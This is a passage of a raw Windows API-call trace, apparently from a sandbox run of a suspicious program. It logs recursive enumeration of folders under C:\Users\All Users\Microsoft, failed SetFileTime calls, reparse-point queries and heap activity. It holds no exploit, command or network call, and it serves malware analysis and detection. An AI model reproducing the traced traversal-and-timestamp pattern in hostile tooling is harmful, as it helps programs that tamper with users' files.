fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.406] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.407] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.407] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.407] GetLastError () returned 0x12 [0091.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.407] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.407] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0091.408] GetLastError () returned 0x12 [0091.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.408] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.408] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0091.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome" (normalized: "c:\\users\\all users\\microsoft\\ehome"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.408] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome" (normalized: "c:\\users\\all users\\microsoft\\ehome"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.408] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.409] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.409] NtClose (Handle=0x170) returned 0x0 [0091.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.410] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.410] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.410] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0091.410] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0091.410] GetLastError () returned 0x12 [0091.410] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0091.411] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.411] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.411] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0091.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.411] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.411] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.412] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.412] NtClose (Handle=0x170) returned 0x0 [0091.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.413] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.413] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.413] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.413] GetLastError () returned 0x12 [0091.413] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.413] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.414] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.414] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.414] GetLastError () returned 0x12 [0091.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.414] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.414] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0091.415] GetLastError () returned 0x12 [0091.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.415] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.415] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="")) returned 1 [0091.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer" (normalized: "c:\\users\\all users\\microsoft\\event viewer"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer" (normalized: "c:\\users\\all users\\microsoft\\event viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.417] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.417] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.417] NtClose (Handle=0x16c) returned 0x0 [0091.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.418] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0091.418] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.419] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0091.419] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0091.419] GetLastError () returned 0x12 [0091.419] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.419] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.419] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.419] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0091.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.419] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.419] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.420] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.420] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.420] NtClose (Handle=0x16c) returned 0x0 [0091.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.426] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.426] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.426] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="")) returned 1 [0091.426] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="")) returned 0 [0091.426] GetLastError () returned 0x12 [0091.426] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.426] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.426] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.426] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, 